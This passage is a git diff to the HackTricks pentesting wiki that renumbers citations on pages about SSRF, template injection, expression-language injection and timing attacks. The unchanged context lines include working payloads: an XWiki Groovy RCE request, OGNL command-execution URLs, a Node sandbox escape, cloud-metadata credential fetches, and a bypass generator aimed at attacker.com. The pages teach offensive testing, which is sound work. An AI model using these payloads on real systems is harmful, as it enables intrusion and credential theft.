-- [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
-- [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
-- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
-- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
-- [Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk](https://www.tenable.com/blog/tenable-discovers-ssrf-vulnerability-in-java-tls-handshakes-that-creates-dos-risk)
-- [RFC 5280 §4.2.2.1 Authority Information Access](https://datatracker.ietf.org/doc/html/rfc5280#section-4.2.2.1)
-- [When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise](https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/)
-- [When Filenames Become Attack Surfaces: Weaponizing NASA's CFITSIO Extended Filename Syntax](https://blog.doyensec.com/2026/05/19/cfitsio-weaponized-filenames.html)
-- [CFITSIO's Extended Filename Syntax - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/filters.html)
-- [CFITSIO FITS File Access Routines (`fits_open_diskfile`, `fits_open_datafile`) - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node35.html)
+- [1] [SSRF Payloads](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
+- [2] [PayloadsAllTheThings - Server Side Request Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
+- [3] [SSRF Vulnerabilities Caused by SNI Proxy Misconfigurations](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
+- [4] [Exploiting HTTP Parsers Inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
+- [5] [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
+- [6] [Tenable – SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk](https://www.tenable.com/blog/tenable-discovers-ssrf-vulnerability-in-java-tls-handshakes-that-creates-dos-risk)
+- [7] [RFC 5280 §4.2.2.1 Authority Information Access](https://datatracker.ietf.org/doc/html/rfc5280#section-4.2.2.1)
+- [8] [When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise](https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/)
+- [9] [When Filenames Become Attack Surfaces: Weaponizing NASA's CFITSIO Extended Filename Syntax](https://blog.doyensec.com/2026/05/19/cfitsio-weaponized-filenames.html)
+- [10] [CFITSIO's Extended Filename Syntax - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/filters.html)
+- [11] [CFITSIO FITS File Access Routines (fits_open_diskfile, fits_open_datafile) - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node35.html)
+- [12] [SECCON CTF 2022 Quals - easylfi writeup](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)
+- [13] [Novel SSRF Technique Involving HTTP Redirect Loops](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
index 38679df55a4..3f650a7aebd 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
@@ -130,7 +130,7 @@ AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"
```
-This is especially useful in **EKS webhooks**, **templating services**, or **URL fetchers** that run inside pods and expose a SSRF plus a local file read primitive. The response contains temporary AWS credentials that can be reused from the AWS CLI or tooling such as **Pacu**.
+This is especially useful in **EKS webhooks**, **templating services**, or **URL fetchers** that run inside pods and expose a SSRF plus a local file read primitive. The response contains temporary AWS credentials that can be reused from the AWS CLI or tooling such as **Pacu**.[[1]](#references)
### SSRF for AWS Lambda
@@ -1029,7 +1029,7 @@ The necessity for a header is not mentioned here either. Metadata is accessible
## Oracle Cloud
-Oracle Cloud Infrastructure has an **IMDSv2** mode that is much more relevant today than the legacy `/latest/` examples. In IMDSv2:
+Oracle Cloud Infrastructure has an **IMDSv2** mode that is much more relevant today than the legacy `/latest/` examples.[[2]](#references) In IMDSv2:
- Requests go to `http://169.254.169.254/opc/v2/`
- Requests must include the header `Authorization: Bearer Oracle`
@@ -1083,7 +1083,7 @@ Rancher's metadata can be accessed using:
## References
-- [AWS SDKs and Tools Reference Guide - Container credential provider](https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html)
-- [Oracle Cloud Infrastructure - Instance Metadata Service v2](https://docs.oracle.com/en-us/iaas/Content/Compute/Tasks/gettingmetadata.htm)
+- [1] [AWS SDKs and Tools Reference Guide - Container credential provider](https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html)
+- [2] [Oracle Cloud Infrastructure - Instance Metadata Service v2](https://docs.oracle.com/en-us/iaas/Content/Compute/Tasks/gettingmetadata.htm)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md
index 343d028148e..f71ceccfddd 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md
@@ -76,7 +76,7 @@ A lot of modern applications fetch remote content on behalf of the user without
- **feed readers**, **scrapers**, **crawler jobs**, **markdown previewers**
- **OCR**, **AI image-generation**, and other model pipelines that first fetch a URL and then pass the bytes downstream
-A recent high-value example is **Next.js**:
+A recent high-value example is **Next.js**:[[2]](#references)
- the **`_next/image`** endpoint becomes a blind SSRF gadget when `remotePatterns` are too broad or when an allowed domain has an **open redirect**
- **Server Actions** had a 2024 SSRF bug where a crafted request plus a server-side redirect could be turned into a **full-read SSRF** (fixed in [**Next.js 14.1.1**](https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g))
@@ -125,7 +125,7 @@ A common upgrade path is:
3. force the downstream processor to treat the response as **text** (for example `mime_type=text/plain`)
4. look for the fetched response rendered inside the final artifact (generated image, OCR text, preview, moderation output, LLM response, PDF, etc.)
-This turns a blind callback into **response exfiltration** without ever receiving the raw HTTP body directly. In modern AI features, the vulnerable pattern is often: **fetch attacker URL -> base64/attach response -> send it to the model together with attacker-controlled type metadata -> render model output back to the user**.
+This turns a blind callback into **response exfiltration** without ever receiving the raw HTTP body directly. In modern AI features, the vulnerable pattern is often: **fetch attacker URL -> base64/attach response -> send it to the model together with attacker-controlled type metadata -> render model output back to the user**.[[3]](#references)
Useful proof targets once you suspect this pattern:
@@ -143,7 +143,7 @@ If you can only see error strings, they still help a lot: DNS failures, TLS vali
When the primitive is blind, try to bounce it through **internal software that performs another outbound request** to your OAST domain. This both **proves reachability** and often **fingerprints the internal platform**.
-High-signal candidates taken from the Assetnote blind SSRF chains research:
+High-signal candidates taken from the Assetnote blind SSRF chains research:[[1]](#references)Useful blind SSRF canaries
@@ -202,7 +202,7 @@ A blind SSRF with only **DNS callbacks** can still be enough to:
## References
-- [Assetnote - A Glossary of Blind SSRF Chains](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)
-- [Assetnote - Digging for SSRF in NextJS apps](https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps/)
-- [Bishop Fox - AI Finds Vulnerabilities. Security Experts Find Impact.](https://bishopfox.com/blog/ai-finds-vulnerabilities-security-experts-find-impact)
+- [1] [Assetnote - A Glossary of Blind SSRF Chains](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)
+- [2] [Assetnote - Digging for SSRF in NextJS apps](https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps/)
+- [3] [Bishop Fox - AI Finds Vulnerabilities. Security Experts Find Impact.](https://bishopfox.com/blog/ai-finds-vulnerabilities-security-experts-find-impact)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
index a9110ca39e7..f13220f0b79 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
@@ -184,7 +184,7 @@ The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate vari
### Automatic Custom Wordlists
-Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger were you can introduce the allowed host and the attackers one and it'll generate a list of URLs to try for you. It also considers if you can use the URL in a parameter, in a Host header or in a CORS header.
+Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger were you can introduce the allowed host and the attackers one and it'll generate a list of URLs to try for you. It also considers if you can use the URL in a parameter, in a Host header or in a CORS header.[[3]](#references)
{{#ref}}
@@ -195,7 +195,7 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\
-[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
+[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)[[8]](#references)Simple redirector for SSRF testing
@@ -231,13 +231,13 @@ Even when an SSRF filter performs a **single DNS resolution before sending the H
2. Serve a very low TTL (or use an authoritative server you control) and rebind the domain to `127.0.0.1` or `169.254.169.254` just before the real request is made.
3. Tools like **Singularity** (`nccgroup/singularity`) automate the authoritative DNS + HTTP server and include ready‑made payloads. Example launch: `python3 singularity.py --lhost --rhost 127.0.0.1 --domain rebinder.test --http-port 8080`.
-This technique was used in 2025 to bypass the BentoML "safe URL" patch and similar single‑resolve SSRF filters.
+This technique was used in 2025 to bypass the BentoML "safe URL" patch and similar single‑resolve SSRF filters.[[7]](#references)
### Explained Tricks
#### Backslash-trick
-The _backslash-trick_ exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.
+The _backslash-trick_ exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.[[9]](#references)
@@ -264,7 +264,7 @@ If the target application validates that the host is *not* `fe80::1` but stops p
### Recent Library Parsing CVEs (2022–2026)
-A number of mainstream frameworks have suffered from hostname-mismatch issues that can be exploited for SSRF once URL validation has been bypassed with the tricks listed above:
+A number of mainstream frameworks have suffered from hostname-mismatch issues that can be exploited for SSRF once URL validation has been bypassed with the tricks listed above:[[4]](#references)[[6]](#references)
| Year | CVE | Component | Bug synopsis | Minimal PoC |
|------|-----|-----------|--------------|-------------|
@@ -278,7 +278,7 @@ A number of mainstream frameworks have suffered from hostname-mismatch issues th
### Payload-generation helpers (2024+)
-Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants:
+Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants:[[5]](#references)
```bash
# Generate every known bypass that transforms the allowed host example.com to attacker.com
@@ -289,12 +289,14 @@ The resulting list can be fed directly into Burp Intruder or `ffuf`.
## References
-- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
-- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
-- [https://nvd.nist.gov/vuln/detail/CVE-2024-22243](https://nvd.nist.gov/vuln/detail/CVE-2024-22243)
-- [https://github.com/hsynuzm/SSRF-PayloadMaker](https://github.com/hsynuzm/SSRF-PayloadMaker)
-- [https://medium.com/%40narendarlb123/1-cve-2025-0454-autogpt-ssrf-via-url-parsing-confusion-921d66fafcbe](https://medium.com/%40narendarlb123/1-cve-2025-0454-autogpt-ssrf-via-url-parsing-confusion-921d66fafcbe)
-- [https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381](https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381)
+- [1] [AlbusSec Penetration List 08 - Server-Side Request Forgery (SSRF) Sample](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
+- [2] [PayloadsAllTheThings - Server Side Request Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
+- [3] [New crazy payloads in the URL Validation Bypass Cheat Sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
+- [4] [CVE-2024-22243 - Spring UriComponentsBuilder](https://nvd.nist.gov/vuln/detail/CVE-2024-22243)
+- [5] [SSRF-PayloadMaker](https://github.com/hsynuzm/SSRF-PayloadMaker)
+- [6] [CVE-2025-0454 - AutoGPT SSRF via URL Parsing Confusion](https://medium.com/%40narendarlb123/1-cve-2025-0454-autogpt-ssrf-via-url-parsing-confusion-921d66fafcbe)
+- [7] [How Tenable Bypassed the Patch for BentoML SSRF Vulnerability (CVE-2025-54381)](https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381)
+- [8] [Just Gopher It: Escalating a Blind SSRF to RCE for $15k](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
+- [9] [Fixing the unfixable: Story of a Google Cloud SSRF](https://bugs.xdavidhu.me/google/2021/12/31/fixing-the-unfixable-story-of-a-google-cloud-ssrf/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md
index ee6432c6229..1990ef4a5c2 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/README.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/README.md
@@ -35,7 +35,7 @@ To detect Server-Side Template Injection (SSTI), initially, **fuzzing the templa
#### Identification Phase
-Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include `${7/0}`, `{{7/0}}`, and `<%= 7/0 %>`. Observing the server's response to mathematical operations helps pinpoint the specific template engine.
+Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include `${7/0}`, `{{7/0}}`, and `<%= 7/0 %>`. Observing the server's response to mathematical operations helps pinpoint the specific template engine.[[2]](#references)[[4]](#references)
#### Identification by payloads
@@ -464,7 +464,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
#### XWiki SolrSearch Groovy RCE (CVE-2025-24893)
-XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) renders unauthenticated RSS search feeds through the `Main.SolrSearch` macro. The handler takes the `text` query parameter, wraps it in wiki syntax and evaluates macros, so injecting `}}}` followed by `{{groovy}}` executes arbitrary Groovy in the JVM.
+XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) renders unauthenticated RSS search feeds through the `Main.SolrSearch` macro. The handler takes the `text` query parameter, wraps it in wiki syntax and evaluates macros, so injecting `}}}` followed by `{{groovy}}` executes arbitrary Groovy in the JVM.[[5]](#references)[[6]](#references)
1. **Fingerprint & scope** – When XWiki is reverse-proxied behind host-based routing, fuzz the `Host` header (`ffuf -u http:// -H "Host: FUZZ.target" ...`) to discover the wiki vhost, then browse `/xwiki/bin/view/Main/` and read the footer (`XWiki Debian 15.10.8`) to pin the vulnerable build.
2. **Trigger SSTI** – Request `/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. The RSS item `` will contain the Groovy output. Always “URL-encode all characters” so spaces stay as `%20`; replacing them with `+` makes XWiki throw HTTP 500.
@@ -826,7 +826,7 @@ home = pugjs.render(injected_page)
### NodeJS expression sandboxes (vm2 / isolated-vm)
-Some workflow builders evaluate user-controlled expressions inside Node sandboxes (`vm2`, `isolated-vm`), yet the expression context still exposes `this.process.mainModule.require`. That lets an attacker load `child_process` and execute OS commands even when dedicated “Execute Command” nodes are disabled:
+Some workflow builders evaluate user-controlled expressions inside Node sandboxes (`vm2`, `isolated-vm`), yet the expression context still exposes `this.process.mainModule.require`.<sup>[[1]](#references)</sup> That lets an attacker load `child_process` and execute OS commands even when dedicated “Execute Command” nodes are disabled:
```javascript
={{ (function() {
@@ -1131,7 +1131,7 @@ LESS is a popular CSS pre-processor that adds variables, mixins, functions and t
### More Exploits
-Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
+Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)<sup>[[3]](#references)</sup>
## BlackHat PDF
@@ -1162,11 +1162,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
## References
-- [Node expression sandbox escape via `process.mainModule.require` (n8n PoC)](https://github.com/Chocapikk/CVE-2026-21858)
-- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
-- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
-- [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
-- [0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)](https://0xdf.gitlab.io/2025/12/06/htb-editor.html)
-- [XWiki advisory – `SolrSearch` RSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j)
+- [1] [Node expression sandbox escape via `process.mainModule.require` (n8n PoC)](https://github.com/Chocapikk/CVE-2026-21858)
+- [2] [PortSwigger - Exploiting server-side template injection](https://portswigger.net/web-security/server-side-template-injection/exploiting)
+- [3] [websitesVulnerableToSSTI - SSTI test payloads collection](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
+- [4] [PortSwigger - Server-side template injection](https://portswigger.net/web-security/server-side-template-injection)
+- [5] [0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)](https://0xdf.gitlab.io/2025/12/06/htb-editor.html)
+- [6] [XWiki advisory – `SolrSearch` RSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md b/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
index fa7dd26d581..d08ffae6292 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
@@ -112,7 +112,7 @@ gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
-- J2EE detection
+- J2EE detection<sup>[[1]](#references)[[2]](#references)</sup>
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
@@ -170,7 +170,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
-- **More RCE**
+- **More RCE**<sup>[[4]](#references)</sup>
```java
// Common RCE payloads
@@ -242,10 +242,10 @@ Check [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pm
## References
-- [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
-- [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
-- [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
+- [1] [Exploiting OGNL Injection](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
+- [2] [Remote Code Execution with EL Injection Vulnerabilities](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
+- [3] [PayloadsAllTheThings - Server Side Template Injection (Tools)](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
+- [4] [marcin33 - SpEL injection payloads](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
index be9eb1cf210..407820fedea 100644
--- a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
@@ -25,7 +25,7 @@ if __name__ == "__main__":
### **Debug Statement**
-If the Debug Extension is enabled, a `debug` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.
+If the Debug Extension is enabled, a `debug` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.<sup>[[6]](#references)</sup>
```python
<pre>
@@ -402,11 +402,12 @@ The request will be urlencoded by default according to the HTTP format, which ca
## References
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
-- [https://jinja.palletsprojects.com/en/stable/templates/](https://jinja.palletsprojects.com/en/stable/templates/)
-- Check [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3).
-- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
-- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
+- [1] [PayloadsAllTheThings - Server Side Template Injection (Jinja2)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
+- [2] [Jinja Template Designer Documentation](https://jinja.palletsprojects.com/en/stable/templates/)
+- [3] [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3)
+- [4] [SecGus tweet on Jinja2 SSTI](https://twitter.com/SecGus/status/1198976764351066113)
+- [5] [Jinja2 SSTI writeup (Chivato)](https://hackmd.io/@Chivato/HyWsJ31dI)
+- [6] [Jinja Template Designer Documentation - Debug Statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/timing-attacks.md b/src/pentesting-web/timing-attacks.md
index d963ba4fe5a..1d3da3372d5 100644
--- a/src/pentesting-web/timing-attacks.md
+++ b/src/pentesting-web/timing-attacks.md
@@ -35,7 +35,7 @@ Useful notes:
Timing is excellent for discovering **hidden parameters, headers, cookies, or routes** even when the visible response looks identical.
-In the PortSwigger research, simply adding the right hidden input changed the timing by about **5ms**, which was enough to identify functionality that was otherwise invisible. This is now a natural fit for **Param Miner**.
+In the PortSwigger research, simply adding the right hidden input changed the timing by about **5ms**, which was enough to identify functionality that was otherwise invisible. This is now a natural fit for **Param Miner**.<sup>[[1]](#references)</sup>
These time differences may appear because:
@@ -49,7 +49,7 @@ Something you need to remember when performing these attacks is that the surface
### Server-Side Injection Oracles
-Timing is also useful for vulnerabilities where the application **parses attacker-controlled data server-side**, but the error or output is redacted.
+Timing is also useful for vulnerabilities where the application **parses attacker-controlled data server-side**, but the error or output is redacted.<sup>[[1]](#references)</sup>
- **Blind JSON injection**: if a payload that becomes valid/invalid JSON changes the response time, something downstream is probably parsing it even if the error message is masked.
- **Blind server-side parameter pollution**: payloads using duplicated parameters, `%26`, `%23`, or delimiter confusion may alter an internal request. Even if the downstream response is hidden, the extra parsing / error-handling work can still leak via timing.
@@ -63,7 +63,7 @@ parameter-pollution.md
### Reverse Proxy Misconfigurations
-Timing is especially powerful for finding **scoped SSRFs** and other reverse-proxy mistakes where the application behaves the same externally, but the backend does extra work only for allowed destinations.
+Timing is especially powerful for finding **scoped SSRFs** and other reverse-proxy mistakes where the application behaves the same externally, but the backend does extra work only for allowed destinations.<sup>[[1]](#references)</sup>
Just checking the time difference when an **allowed domain** is used versus when a **disallowed domain** is used can reveal that you found an open proxy even if the HTTP response looks identical.
@@ -92,7 +92,7 @@ Once you find that kind of proxy behaviour, combine it with the methodology from
## References
-- [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
-- [https://github.com/richeeta/PacketSprinter](https://github.com/richeeta/PacketSprinter)
+- [1] [Listen to the whispers: web timing attacks that actually work (PortSwigger)](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
+- [2] [PacketSprinter](https://github.com/richeeta/PacketSprinter)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/unicode-injection/README.md b/src/pentesting-web/unicode-injection/README.md
index 08e8433da0c..016c8c4be59 100644
--- a/src/pentesting-web/unicode-injection/README.md
+++ b/src/pentesting-web/unicode-injection/README.md
@@ -24,7 +24,7 @@ unicode-normalization.md
## SQL Server Best Fit / implicit conversion
